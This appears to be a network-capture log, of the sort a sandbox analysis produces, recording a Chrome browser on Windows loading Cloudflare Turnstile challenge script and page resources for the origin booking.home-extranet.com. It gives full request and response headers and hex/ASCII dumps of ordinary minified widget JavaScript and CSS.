2025-06-10 10:50:18 UTC	560	OUT	GET /turnstile/v0/b/f9574c83b4d7/api.js?onload=lALO8&render=explicit HTTP/1.1 host: challenges.cloudflare.com origin: https://booking.home-extranet.com sec-ch-ua-platform: "Windows" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 accept: / sec-fetch-site: cross-site sec-fetch-mode: cors sec-fetch-dest: script accept-encoding: identity accept-language: en-US,en;q=0.9
2025-06-10 10:50:18 UTC	475	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:18 GMT content-type: application/javascript; charset=UTF-8 content-length: 48828 accept-ranges: bytes last-modified: Fri, 06 Jun 2025 13:42:22 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin vary: Accept-Encoding server: cloudflare cf-ray: 94d84e9b695a2d45-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function qt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function zt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 69 6e 65 64 22 26 26 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 7b 76 61 72 20 6f 3d 5b 5d 2c 63 3d 21 30 2c 6c 3d 21 31 2c 76 2c 68 3b 74 72 79 7b 66 6f 72 28 61 3d 61 2e 63 61 6c 6c 28 65 29 3b 21 28 63 3d 28 76 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 6f 2e 70 75 73 68 28 76 2e 76 61 6c 75 65 29 2c 21 28 74 26 26 6f 2e 6c 65 6e 67 74 68 3d 3d 3d 74 29 29 3b 63 3d 21 30 29 3b 7d 63 61 74 63 68 28 73 29 7b 6c 3d 21 30 2c 68 3d 73 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 63 26 26 61 2e 72 65 74 75 72 6e 21 3d 6e 75 6c 6c 26 26 61 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 6c 29 74 68 72 6f 77 20 68 7d 7d 72 65 74 75 72 6e Data Ascii: ined"&&e[Symbol.iterator]\|\|e["@@iterator"];if(a!=null){var o=[],c=!0,l=!1,v,h;try{for(a=a.call(e);!(c=(v=a.next()).done)&&(o.push(v.value),!(t&&o.length===t));c=!0);}catch(s){l=!0,h=s}finally{try{!c&&a.return!=null&&a.return()}finally{if(l)throw h}}return
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 63 2e 6e 65 78 74 29 26 26 21 28 6c 3d 6c 2e 63 61 6c 6c 28 63 2c 70 5b 31 5d 29 29 2e 64 6f 6e 65 29 72 65 74 75 72 6e 20 6c 3b 73 77 69 74 63 68 28 63 3d 30 2c 6c 26 26 28 70 3d 5b 70 5b 30 5d 26 32 2c 6c 2e 76 61 6c 75 65 5d 29 2c 70 5b 30 5d 29 7b 63 61 73 65 20 30 3a 63 61 73 65 20 31 3a 6c 3d 70 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 61 2e 6c 61 62 65 6c 2b 2b 2c 7b 76 61 6c 75 65 3a 70 5b 31 5d 2c 64 6f 6e 65 3a 21 31 7d 3b 63 61 73 65 20 35 3a 61 2e 6c 61 62 65 6c 2b 2b 2c 63 3d 70 5b 31 5d 2c 70 3d 5b 30 5d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 20 37 3a 70 3d 61 2e 6f 70 73 2e 70 6f 70 28 29 2c 61 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 64 65 66 61 75 6c 74 3a 69 66 28 6c 3d 61 2e 74 72 79 73 2c Data Ascii: c.next)&&!(l=l.call(c,p[1])).done)return l;switch(c=0,l&&(p=[p[0]&2,l.value]),p[0]){case 0:case 1:l=p;break;case 4:return a.label++,{value:p[1],done:!1};case 5:a.label++,c=p[1],p=[0];continue;case 7:p=a.ops.pop(),a.trys.pop();continue;default:if(l=a.trys,
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 65 2e 46 61 69 6c 75 72 65 48 61 76 69 6e 67 54 72 6f 75 62 6c 65 73 3d 22 66 61 69 6c 75 72 65 2d 68 61 76 69 6e 67 2d 74 72 6f 75 62 6c 65 73 22 2c 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 3d 22 66 61 69 6c 75 72 65 2d 66 65 65 64 62 61 63 6b 22 2c 65 2e 46 61 69 6c 75 72 65 46 65 65 64 62 61 63 6b 43 6f 64 65 3d 22 66 61 69 6c 75 72 65 2d 66 65 65 64 62 61 63 6b 2d 63 6f 64 65 22 2c 65 2e 45 78 70 69 72 65 64 4e 65 76 65 72 52 65 66 72 65 73 68 3d 22 65 78 70 69 72 65 64 2d 6e 65 76 65 72 2d 72 65 66 72 65 73 68 22 2c 65 2e 45 78 70 69 72 65 64 4d 61 6e 75 61 6c 52 65 66 72 65 73 68 3d 22 65 78 70 69 72 65 64 2d 6d 61 6e 75 61 6c 2d 72 65 66 72 65 73 68 22 2c 65 2e 54 69 6d 65 6f 75 74 4e 65 76 65 72 52 65 66 72 65 73 68 3d 22 74 69 6d 65 6f Data Ascii: e.FailureHavingTroubles="failure-having-troubles",e.FailureFeedback="failure-feedback",e.FailureFeedbackCode="failure-feedback-code",e.ExpiredNeverRefresh="expired-never-refresh",e.ExpiredManualRefresh="expired-manual-refresh",e.TimeoutNeverRefresh="timeo
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 66 79 69 6e 67 22 2c 65 2e 4f 76 65 72 72 75 6e 69 6e 67 3d 22 6f 76 65 72 72 75 6e 6e 69 6e 67 22 2c 65 2e 43 75 73 74 6f 6d 3d 22 63 75 73 74 6f 6d 22 7d 29 28 71 65 7c 7c 28 71 65 3d 7b 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 4c 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 64 65 78 4f 66 28 74 29 21 3d 3d 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 64 61 72 6b 22 2c 22 6c 69 67 68 74 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 75 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3e 30 26 26 65 3c 39 65 35 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 29 7b 72 65 74 75 Data Ascii: fying",e.Overruning="overrunning",e.Custom="custom"})(qe\|\|(qe={}));function L(e,t){return e.indexOf(t)!==-1}function ct(e){return L(["auto","dark","light"],e)}function ut(e){return L(["auto","never"],e)}function lt(e){return e>0&&e<9e5}function st(e){retu
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 65 72 3d 22 2e 63 66 2d 74 75 72 6e 73 74 69 6c 65 22 2c 74 72 3d 22 2e 63 66 2d 63 68 61 6c 6c 65 6e 67 65 22 2c 72 72 3d 22 2e 67 2d 72 65 63 61 70 74 63 68 61 22 2c 62 74 3d 22 63 66 5f 63 68 61 6c 6c 65 6e 67 65 5f 72 65 73 70 6f 6e 73 65 22 2c 78 74 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 2c 77 74 3d 22 67 2d 72 65 63 61 70 74 63 68 61 2d 72 65 73 70 6f 6e 73 65 22 2c 61 72 3d 38 65 33 2c 45 74 3d 22 70 72 69 76 61 74 65 2d 74 6f 6b 65 6e 22 2c 6e 72 3d 33 2c 69 72 3d 35 30 30 2c 6f 72 3d 35 30 30 2c 4b 3d 22 22 3b 76 61 72 20 46 72 3d 5b 22 62 67 2d 62 67 22 2c 22 64 61 2d 64 6b 22 2c 22 64 65 2d 64 65 22 2c 22 65 6c 2d 67 72 22 2c 22 6a 61 2d 6a 70 22 2c 22 Data Ascii: oudflare-challenge",er=".cf-turnstile",tr=".cf-challenge",rr=".g-recaptcha",bt="cf_challenge_response",xt="cf-turnstile-response",wt="g-recaptcha-response",ar=8e3,Et="private-token",nr=3,ir=500,or=500,K="";var Fr=["bg-bg","da-dk","de-de","el-gr","ja-jp","
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 2c 50 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 69 73 56 65 72 62 6f 73 65 4c 61 6e 67 75 61 67 65 2c 61 3d 65 2e 69 73 53 6d 61 6c 6c 65 72 46 65 65 64 62 61 63 6b 2c 6f 3d 65 2e 69 73 4d 6f 64 65 72 61 74 65 6c 79 56 65 72 62 6f 73 65 3b 72 65 74 75 72 6e 20 61 26 26 74 3f 22 36 36 30 70 78 22 3a 61 26 26 6f 3f 22 36 32 30 70 78 22 3a 61 3f 22 36 30 30 70 78 22 3a 74 3f 22 37 37 30 70 78 22 3a 6f 3f 22 37 34 30 70 78 22 3a 22 37 33 30 70 78 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 48 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 Data Ascii: ,Pr=function(e){var t=e.isVerboseLanguage,a=e.isSmallerFeedback,o=e.isModeratelyVerbose;return a&&t?"660px":a&&o?"620px":a?"600px":t?"770px":o?"740px":"730px"};function He(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() h
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 74 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 74 2e 67 65 74 28 6f 29 3b 74 2e 73 65 74 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 72 65 74 75 72 6e 20 4f 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 7d 72 65 74 75 72 6e 20 63 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6f 2e 70 72 6f 74 Data Ascii: ypeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof t!="undefined"){if(t.has(o))return t.get(o);t.set(o,c)}function c(){return Oe(o,arguments,le(this).constructor)}return c.prototype=Object.create(o.prot
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 61 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 6f 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 61 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 61 7d 66 75 6e 63 74 69 6f 6e 20 55 28 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 70 65 72 66 6f 72 6d 61 6e 63 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 3f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3a 44 61 74 65 2e 6e 6f 77 28 29 7d 76 61 72 20 49 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 Data Ascii: ync\|\|e.defer)&&(a.loadedAsync=!0);var o=t.split("?");return o.length>1&&(a.params=new URLSearchParams(o[1])),a}function U(){return typeof performance!="undefined"&&performance.now?performance.now():Date.now()}var It=function(e,t,a){var o=Tt(t.params,!1),c
2025-06-10 10:50:18 UTC	1460	IN	Data Raw: 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 41 2e 69 64 3d 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2d 66 72 22 29 2c 41 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 68 29 2c 41 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 22 2c 22 63 72 6f 73 73 2d 6f 72 69 67 69 6e 2d 69 73 6f 6c 61 74 65 64 3b 20 66 75 6c 6c 73 63 72 65 65 6e 22 29 2c 41 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 61 6e 64 62 6f 78 22 2c 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 66 6f 72 6d 73 22 29 2c 41 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 63 72 6f 6c 6c 69 6e 67 22 2c 22 6e 6f 22 29 2c Data Ascii: ment.createElement("iframe");A.id="".concat(e,"-fr"),A.setAttribute("src",h),A.setAttribute("allow","cross-origin-isolated; fullscreen"),A.setAttribute("sandbox","allow-same-origin allow-scripts allow-popups allow-forms"),A.setAttribute("scrolling","no"),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49711	104.18.94.41	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:19 UTC	805	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/t54mz/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ HTTP/1.1 host: challenges.cloudflare.com sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-fetch-site: cross-site sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: iframe sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=0, i
2025-06-10 10:50:19 UTC	1460	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:19 GMT content-type: text/html; charset=UTF-8 content-length: 27767 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-XIWVg1x4fBTDHYQC' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness,
2025-06-10 10:50:19 UTC	229	IN	Data Raw: 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 55 41 0d 0a 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 73 61 6d 65 2d 6f 72 69 67 69 6e 0d 0a 64 6f 63 75 6d 65 6e 74 2d 70 6f 6c 69 63 79 3a 20 6a 73 2d 70 72 6f 66 69 6c 69 6e 67 0d 0a 73 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 63 66 2d 72 61 79 3a 20 39 34 64 38 34 65 39 66 31 38 64 66 32 63 62 34 2d 44 46 57 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAreferrer-policy: same-origindocument-policy: js-profilingserver: cloudflarecf-ray: 94d84e9f18df2cb4-DFWalt-svc: h3=":443"; ma=86400
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 33 39 3b 6e 6f 6e 65 26 23 33 39 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 33 39 3b 6e 6f 6e 63 65 2d 58 49 57 56 67 31 78 34 66 42 54 44 48 59 51 43 26 23 33 39 3b 20 26 23 33 39 3b 75 6e 73 61 66 65 2d 65 76 61 6c 26 Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-XIWVg1x4fBTDHYQC' 'unsafe-eval&
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 7b 6f 70 61 63 69 74 79 3a 30 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 38 70 78 7d 33 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 74 6f 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 70 78 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 75 6e 73 70 69 6e 7b 34 30 25 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 73 71 75 61 72 65 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 39 32 70 78 7d 74 6f 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 7d 7d 68 74 6d 6c 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 6f 64 79 2c 2e 6d 61 69 6e 2d 77 72 61 Data Ascii: {opacity:0;stroke-dashoffset:8px}30%{opacity:1}to{stroke-dashoffset:-8px}}@keyframes unspin{40%{stroke-width:1px;stroke-linecap:square;stroke-dashoffset:192px}to{stroke-width:0}}html{width:100%;height:100%;margin:0;padding:0;overflow:hidden}body,.main-wra
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 23 30 33 38 31 32 37 7d 23 73 75 63 63 65 73 73 2d 69 20 2e 70 31 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 32 34 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 32 34 32 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 2e 34 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 2e 33 73 20 66 6f 72 77 61 72 64 73 20 73 74 72 6f 6b 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 23 30 33 38 31 32 37 7d 23 73 75 63 63 65 73 73 2d 70 72 65 2d 69 7b 77 69 64 74 68 3a 33 30 Data Ascii: r(.55,.085,.68,.53) both scale-up-center;display:flex;box-shadow:inset 0 0 #038127}#success-i .p1{stroke-dasharray:242;stroke-dashoffset:242px;animation:.4s cubic-bezier(.65,0,.45,1) .3s forwards stroke;box-shadow:inset 0 0 #038127}#success-pre-i{width:30
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 Data Ascii: heme-dark #challenge-overlay,.theme-dark #challenge-error-text{color:#ffa299}.theme-dark #challenge-overlay a,.theme-dark #challenge-error-text a,.theme-dark #challenge-overlay a:visited,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-error-t
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 6f 6e 74 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 37 39 37 39 37 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 71 72 7b 66 69 6c 6c 3a 23 66 33 38 30 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 3e 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 3e 61 3a 76 69 73 69 74 65 64 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 3e 61 3a 6c 69 6e 6b 7b 63 6f 6c 6f Data Ascii: ocus{color:#949494}.theme-dark #content{background-color:#232323;border-color:#797979}.theme-dark #qr{fill:#f38020}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop>a,.theme-dark #fr-helper-loop>a:visited,.theme-dark #fr-helper-loop>a:link{colo
2025-06-10 10:50:19 UTC	1460	IN	Data Raw: 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 70 78 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 70 78 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 20 73 74 72 6f 6b 65 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2d 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: 166;stroke-dashoffset:166px;stroke-width:2px;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:.6s cubic-bezier(.65,0,.45,1) forwards stroke}.failure-cross{fill:#fff;transform-origin:bottom}@keyframes fade-in-animation{0%{fill:#de1303;stroke:#de1
